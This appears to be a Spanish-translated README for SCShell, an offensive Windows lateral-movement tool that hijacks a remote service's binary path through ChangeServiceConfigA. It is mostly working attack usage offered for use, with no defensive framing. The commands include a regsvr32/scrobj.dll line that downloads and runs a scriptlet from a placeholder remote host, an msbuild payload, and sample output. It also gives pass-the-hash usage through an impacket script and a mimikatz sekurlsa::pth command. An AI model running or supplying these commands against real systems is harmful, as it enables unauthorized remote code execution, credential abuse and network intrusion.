
Herramienta de movimiento lateral sin archivos que se basa en ChangeServiceConfigA para ejecutar un comando
SCShell es una herramienta de movimiento lateral sin archivos que se basa en ChangeServiceConfigA para ejecutar comandos. La belleza de esta herramienta es que no realiza autenticación contra SMB. Todo se realiza a través de DCERPC.
La utilidad se puede usar de forma remota SIN registrar un servicio ni crear uno. Tampoco necesita dejar ningún archivo en el sistema remoto* (Depende de la técnica utilizada para ejecutarse).
En lugar de crear un servicio, simplemente abre un servicio de forma remota y modifica la ruta del nombre binario a través de la API ChangeServiceConfigA.
Luego inicia el servicio.
Una vez completada la ejecución, la ruta binaria del servicio se revierte a la original. La ruta original del servicio se extrae usando QueryServiceConfigA.
Todo ocurre a través de DCERPC, incluyendo la autenticación.

La compilación actual está escrita en C pero la portaré a C# y PowerShell.
Usage:
SCShell.exe target service payload domain username password
target se puede establecer en local para ejecutar el payload de forma local
Ejecución remota
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
Recomiendo usar C:\windows\system32\cmd.exe /c para asegurarse de que el payload no sea eliminado cuando el servicio se detenga. DEBE usar la ruta completa.
También puede usar un payload de msbuild
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
Estoy usando XblAuthManager como objetivo, que es el Servicio de Gestión de Accesorios de Xbox
scshell.py es una implementación en Python 2 y 3 de SCShell. Usando el proyecto impacket, se puede usar fácilmente para realizar el mismo movimiento lateral usando pass the hash.
Instalación
pip install impacket
Uso
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Puede usar la utilidad C para pasar el hash. Por defecto, se usará el token del proceso actual. Puede establecer el token del proceso actual usando el enfoque estándar de pass the hash.
En el sistema local
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
Luego ejecute SCShell.exe dentro del nuevo cmd.exe.
El código fue compilado en Windows usando el compilador GCC Mingw
Mr.Un1k0d3r RingZer0 Team
Tazz0 por el apoyo moral